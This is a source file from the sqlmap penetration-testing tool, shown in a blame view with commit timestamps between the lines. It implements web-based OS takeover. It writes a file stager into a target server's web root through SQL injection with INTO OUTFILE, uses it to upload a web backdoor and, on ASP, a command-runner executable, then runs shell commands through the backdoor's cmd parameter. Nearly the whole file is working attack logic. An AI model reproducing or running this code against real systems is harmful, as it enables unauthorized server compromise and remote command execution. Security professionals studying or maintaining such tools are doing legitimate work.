2010-01-14 17:03:16 +03:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
|
|
|
$Id$
|
|
|
|
|
2010-10-14 18:41:14 +04:00
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2010-01-14 17:03:16 +03:00
|
|
|
"""
|
|
|
|
|
2010-05-29 03:12:20 +04:00
|
|
|
import codecs
|
2010-01-14 17:03:16 +03:00
|
|
|
import os
|
2010-02-25 02:40:56 +03:00
|
|
|
import posixpath
|
2010-01-14 17:03:16 +03:00
|
|
|
import re
|
|
|
|
|
2010-01-28 19:56:00 +03:00
|
|
|
from extra.cloak.cloak import decloak
|
2010-01-14 17:03:16 +03:00
|
|
|
from lib.core.agent import agent
|
2010-01-28 19:50:34 +03:00
|
|
|
from lib.core.common import decloakToNamedTemporaryFile
|
2010-01-14 17:03:16 +03:00
|
|
|
from lib.core.common import getDirs
|
|
|
|
from lib.core.common import getDocRoot
|
2010-02-04 17:37:00 +03:00
|
|
|
from lib.core.common import ntToPosixSlashes
|
2010-04-22 14:31:33 +04:00
|
|
|
from lib.core.common import isWindowsDriveLetterPath
|
2010-02-03 19:10:09 +03:00
|
|
|
from lib.core.common import normalizePath
|
2010-02-04 17:37:00 +03:00
|
|
|
from lib.core.common import posixToNtSlashes
|
2010-02-25 13:33:41 +03:00
|
|
|
from lib.core.common import randomStr
|
2010-01-14 17:03:16 +03:00
|
|
|
from lib.core.common import readInput
|
|
|
|
from lib.core.convert import hexencode
|
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import paths
|
|
|
|
from lib.core.exception import sqlmapUnsupportedDBMSException
|
|
|
|
from lib.core.shell import autoCompletion
|
|
|
|
from lib.request.connect import Connect as Request
|
|
|
|
|
|
|
|
|
|
|
|
class Web:
|
|
|
|
"""
|
|
|
|
This class defines web-oriented OS takeover functionalities for
|
|
|
|
plugins.
|
|
|
|
"""
|
|
|
|
|
|
|
|
def __init__(self):
|
|
|
|
self.webApi = None
|
|
|
|
self.webBaseUrl = None
|
|
|
|
self.webBackdoorUrl = None
|
2010-10-18 01:06:52 +04:00
|
|
|
self.webStagerUrl = None
|
2010-01-14 23:42:45 +03:00
|
|
|
self.webDirectory = None
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-01-14 17:33:08 +03:00
|
|
|
def webBackdoorRunCmd(self, cmd):
|
2010-01-14 17:03:16 +03:00
|
|
|
if self.webBackdoorUrl is None:
|
|
|
|
return
|
|
|
|
|
|
|
|
output = None
|
|
|
|
|
|
|
|
if not cmd:
|
|
|
|
cmd = conf.osCmd
|
|
|
|
|
|
|
|
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
|
|
|
|
page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
|
|
|
|
|
|
|
|
if page is not None:
|
2010-01-14 17:33:08 +03:00
|
|
|
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
if output:
|
2010-01-14 17:33:08 +03:00
|
|
|
output = output.group(1)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
return output
|
|
|
|
|
|
|
|
def webFileUpload(self, fileToUpload, destFileName, directory):
|
2010-05-29 12:58:55 +04:00
|
|
|
inputFP = codecs.open(fileToUpload, "rb")
|
2010-05-29 03:12:20 +04:00
|
|
|
retVal = self.__webFileStreamUpload(inputFP, destFileName, directory)
|
|
|
|
inputFP.close()
|
|
|
|
|
2010-02-04 13:10:41 +03:00
|
|
|
return retVal
|
2010-01-28 20:07:34 +03:00
|
|
|
|
2010-01-28 19:50:34 +03:00
|
|
|
def __webFileStreamUpload(self, stream, destFileName, directory):
|
2010-05-29 03:12:20 +04:00
|
|
|
stream.seek(0) # Rewind
|
|
|
|
|
2010-11-16 16:46:46 +03:00
|
|
|
if self.webApi in ("php", "asp", "aspx", "jsp"):
|
2010-01-14 17:03:16 +03:00
|
|
|
multipartParams = {
|
|
|
|
"upload": "1",
|
2010-01-27 16:59:25 +03:00
|
|
|
"file": stream,
|
2010-01-14 17:03:16 +03:00
|
|
|
"uploadDir": directory,
|
|
|
|
}
|
2010-02-16 16:20:34 +03:00
|
|
|
|
2010-10-18 01:06:52 +04:00
|
|
|
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-01-28 20:07:34 +03:00
|
|
|
if "File uploaded" not in page:
|
2010-01-14 17:03:16 +03:00
|
|
|
warnMsg = "unable to upload the backdoor through "
|
2010-10-18 01:06:52 +04:00
|
|
|
warnMsg += "the file stager on '%s'" % directory
|
2010-01-14 17:03:16 +03:00
|
|
|
logger.warn(warnMsg)
|
2010-02-04 13:10:41 +03:00
|
|
|
return False
|
|
|
|
else:
|
|
|
|
return True
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-02-16 16:20:34 +03:00
|
|
|
def __webFileInject(self, fileContent, fileName, directory):
|
2010-02-25 02:40:56 +03:00
|
|
|
outFile = posixpath.normpath("%s/%s" % (directory, fileName))
|
2010-11-17 12:33:05 +03:00
|
|
|
uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if kb.os == "Windows" else directory)
|
2010-10-25 19:17:59 +04:00
|
|
|
query = "LIMIT 1 INTO OUTFILE '%s' " % outFile
|
2010-02-16 16:20:34 +03:00
|
|
|
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
|
2010-10-25 19:17:59 +04:00
|
|
|
query = agent.prefixQuery(query)
|
2010-02-16 16:20:34 +03:00
|
|
|
query = agent.postfixQuery(query)
|
|
|
|
payload = agent.payload(newValue=query)
|
|
|
|
page = Request.queryPage(payload)
|
2010-02-16 16:24:09 +03:00
|
|
|
return page
|
2010-02-16 16:20:34 +03:00
|
|
|
|
2010-01-14 17:03:16 +03:00
|
|
|
def webInit(self):
|
|
|
|
"""
|
|
|
|
This method is used to write a web backdoor (agent) on a writable
|
|
|
|
remote directory within the web server document root.
|
|
|
|
"""
|
|
|
|
|
2010-10-18 01:06:52 +04:00
|
|
|
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
|
2010-01-14 17:03:16 +03:00
|
|
|
return
|
|
|
|
|
2010-01-28 13:27:47 +03:00
|
|
|
self.checkDbmsOs()
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-10-18 01:06:52 +04:00
|
|
|
infoMsg = "trying to upload the file stager"
|
2010-01-14 17:03:16 +03:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
message = "which web application language does the web server "
|
|
|
|
message += "support?\n"
|
2010-03-01 17:40:18 +03:00
|
|
|
message += "[1] ASP%s\n" % (" (default)" if kb.os == "Windows" else "")
|
2010-11-16 16:46:46 +03:00
|
|
|
message += "[2] ASPX\n"
|
|
|
|
message += "[3] PHP%s\n" % ("" if kb.os == "Windows" else " (default)")
|
|
|
|
message += "[4] JSP"
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
while True:
|
2010-02-25 19:55:02 +03:00
|
|
|
choice = readInput(message, default="1" if kb.os == "Windows" else "2")
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-11-16 16:46:46 +03:00
|
|
|
if choice == "1":
|
|
|
|
self.webApi = "asp"
|
2010-01-14 17:03:16 +03:00
|
|
|
break
|
|
|
|
|
2010-11-16 16:46:46 +03:00
|
|
|
elif choice == "2":
|
|
|
|
self.webApi = "aspx"
|
2010-01-14 17:03:16 +03:00
|
|
|
break
|
|
|
|
|
|
|
|
elif choice == "3":
|
2010-11-16 16:46:46 +03:00
|
|
|
self.webApi = "php"
|
|
|
|
break
|
|
|
|
|
|
|
|
elif choice == "4":
|
|
|
|
self.webApi = "jsp"
|
|
|
|
break
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
elif not choice.isdigit():
|
|
|
|
logger.warn("invalid value, only digits are allowed")
|
|
|
|
|
2010-11-16 16:46:46 +03:00
|
|
|
elif int(choice) < 1 or int(choice) > 4:
|
|
|
|
logger.warn("invalid value, it must be between 1 and 4")
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-02-25 18:22:41 +03:00
|
|
|
kb.docRoot = getDocRoot(self.webApi)
|
|
|
|
directories = getDirs(self.webApi)
|
|
|
|
directories = list(directories)
|
|
|
|
directories.sort()
|
|
|
|
|
2010-02-26 16:13:50 +03:00
|
|
|
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
|
2010-02-25 13:33:41 +03:00
|
|
|
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
|
2010-02-25 14:40:49 +03:00
|
|
|
originalBackdoorContent = backdoorContent = backdoorStream.read()
|
2010-04-22 14:31:33 +04:00
|
|
|
|
2010-10-18 01:06:52 +04:00
|
|
|
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
|
|
|
|
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
2010-04-22 14:31:33 +04:00
|
|
|
|
2010-01-14 23:42:45 +03:00
|
|
|
for directory in directories:
|
2010-10-18 01:06:52 +04:00
|
|
|
# Upload the file stager
|
|
|
|
self.__webFileInject(stagerContent, stagerName, directory)
|
2010-04-22 14:31:33 +04:00
|
|
|
requestDir = ntToPosixSlashes(directory)
|
2010-04-23 20:34:20 +04:00
|
|
|
|
2010-04-22 14:31:33 +04:00
|
|
|
if requestDir[-1] != '/':
|
|
|
|
requestDir += '/'
|
2010-04-23 20:34:20 +04:00
|
|
|
|
|
|
|
requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), "/")
|
|
|
|
|
2010-04-22 14:31:33 +04:00
|
|
|
if isWindowsDriveLetterPath(requestDir):
|
2010-02-03 19:10:09 +03:00
|
|
|
requestDir = requestDir[2:]
|
2010-04-23 20:34:20 +04:00
|
|
|
|
2010-10-17 02:43:05 +04:00
|
|
|
requestDir = normalizePath(requestDir).replace("//", "/")
|
2010-04-22 14:31:33 +04:00
|
|
|
|
2010-09-30 22:52:33 +04:00
|
|
|
if requestDir[0] != '/':
|
|
|
|
requestDir = '/' + requestDir
|
|
|
|
|
2010-10-18 01:06:52 +04:00
|
|
|
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
|
|
|
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
|
|
|
|
self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace("./", "/"))
|
|
|
|
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
2010-04-22 14:31:33 +04:00
|
|
|
|
2010-01-28 20:07:34 +03:00
|
|
|
if "sqlmap file uploader" not in uplPage:
|
2010-10-18 01:06:52 +04:00
|
|
|
warnMsg = "unable to upload the file stager "
|
|
|
|
warnMsg += "on '%s'" % directory
|
2010-01-14 17:03:16 +03:00
|
|
|
logger.warn(warnMsg)
|
2010-11-16 16:46:46 +03:00
|
|
|
continue
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-11-16 16:46:46 +03:00
|
|
|
elif "<%" in uplPage or "<?" in uplPage:
|
|
|
|
warnMsg = "file stager uploaded "
|
2010-11-17 12:33:05 +03:00
|
|
|
warnMsg += "on '%s' but not dynamically interpreted ('%s')" % (directory, self.webStagerUrl)
|
2010-11-16 16:46:46 +03:00
|
|
|
logger.warn(warnMsg)
|
2010-01-14 17:03:16 +03:00
|
|
|
continue
|
|
|
|
|
2010-10-18 01:06:52 +04:00
|
|
|
infoMsg = "the file stager has been successfully uploaded "
|
|
|
|
infoMsg += "on '%s' ('%s')" % (directory, self.webStagerUrl)
|
2010-01-14 17:03:16 +03:00
|
|
|
logger.info(infoMsg)
|
2010-04-22 14:31:33 +04:00
|
|
|
|
2010-02-25 02:40:56 +03:00
|
|
|
if self.webApi == "asp":
|
2010-02-26 16:13:50 +03:00
|
|
|
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
|
2010-02-25 13:47:12 +03:00
|
|
|
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
|
2010-02-25 19:55:02 +03:00
|
|
|
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
|
2010-02-25 17:06:44 +03:00
|
|
|
|
2010-02-25 19:55:02 +03:00
|
|
|
if match:
|
2010-02-25 15:16:49 +03:00
|
|
|
backdoorDirectory = match.group(1)
|
|
|
|
else:
|
|
|
|
continue
|
2010-02-25 17:06:44 +03:00
|
|
|
|
2010-02-25 15:16:49 +03:00
|
|
|
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
|
|
|
|
backdoorStream.file.truncate()
|
|
|
|
backdoorStream.read()
|
|
|
|
backdoorStream.seek(0)
|
|
|
|
backdoorStream.write(backdoorContent)
|
2010-02-25 17:06:44 +03:00
|
|
|
|
2010-02-25 15:16:49 +03:00
|
|
|
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
|
|
|
|
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
|
|
|
|
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName)
|
|
|
|
self.webDirectory = backdoorDirectory
|
|
|
|
else:
|
2010-02-25 02:40:56 +03:00
|
|
|
continue
|
2010-02-25 17:06:44 +03:00
|
|
|
|
|
|
|
else:
|
|
|
|
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory):
|
2010-10-18 01:06:52 +04:00
|
|
|
warnMsg = "backdoor has not been successfully uploaded "
|
|
|
|
warnMsg += "with file stager probably because of "
|
|
|
|
warnMsg += "lack of write permission."
|
2010-02-25 17:06:44 +03:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
message = "do you want to try the same method used "
|
2010-10-18 01:06:52 +04:00
|
|
|
message += "for the file stager? [y/N] "
|
2010-02-25 17:06:44 +03:00
|
|
|
getOutput = readInput(message, default="N")
|
|
|
|
|
|
|
|
if getOutput in ("y", "Y"):
|
|
|
|
self.__webFileInject(backdoorContent, backdoorName, directory)
|
|
|
|
else:
|
|
|
|
continue
|
|
|
|
|
2010-02-25 02:40:56 +03:00
|
|
|
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
|
|
|
self.webDirectory = directory
|
2010-11-03 13:08:27 +03:00
|
|
|
|
2010-02-16 16:20:34 +03:00
|
|
|
infoMsg = "the backdoor has probably been successfully "
|
2010-02-25 14:40:49 +03:00
|
|
|
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
|
2010-02-16 16:20:34 +03:00
|
|
|
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
|
|
|
|
logger.info(infoMsg)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
break
|